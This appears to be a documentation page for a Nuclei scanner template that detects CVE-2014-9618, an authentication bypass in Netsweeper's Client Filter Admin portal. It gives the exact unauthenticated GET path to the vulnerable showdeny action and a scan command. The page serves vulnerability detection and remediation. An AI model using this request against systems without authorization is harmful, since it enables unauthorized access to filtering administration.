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Netsweeper - Authentication Bypass

ID: CVE-2014-9618

Severity: critical

Author: daffainfo

Tags: cve2014,cve,netsweeper,auth-bypass,packetstorm,edb,xss

Description

Section titled “Description”

The Client Filter Admin portal in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to bypass authentication and subsequently create arbitrary profiles via a showdeny action to the default URL.

YAML Source

Section titled “YAML Source”
id: CVE-2014-9618


info:
  name: Netsweeper - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    The Client Filter Admin portal in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to bypass authentication and subsequently create arbitrary profiles via a showdeny action to the default URL.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Netsweeper.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9618
    - https://www.exploit-db.com/exploits/37933/
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-9618
    cwe-id: CWE-287
    epss-score: 0.03433
    epss-percentile: 0.91476
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,auth-bypass,packetstorm,edb,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/webadmin/clientlogin/?srid=&action=showdeny&url='


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'name=formtag action="../clientlogin/?srid=&action=showdeny&url="'
          - 'placeholder="Profile Manager">'
          - '<title>Netsweeper WebAdmin</title>'
        condition: and


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-9618.yaml"

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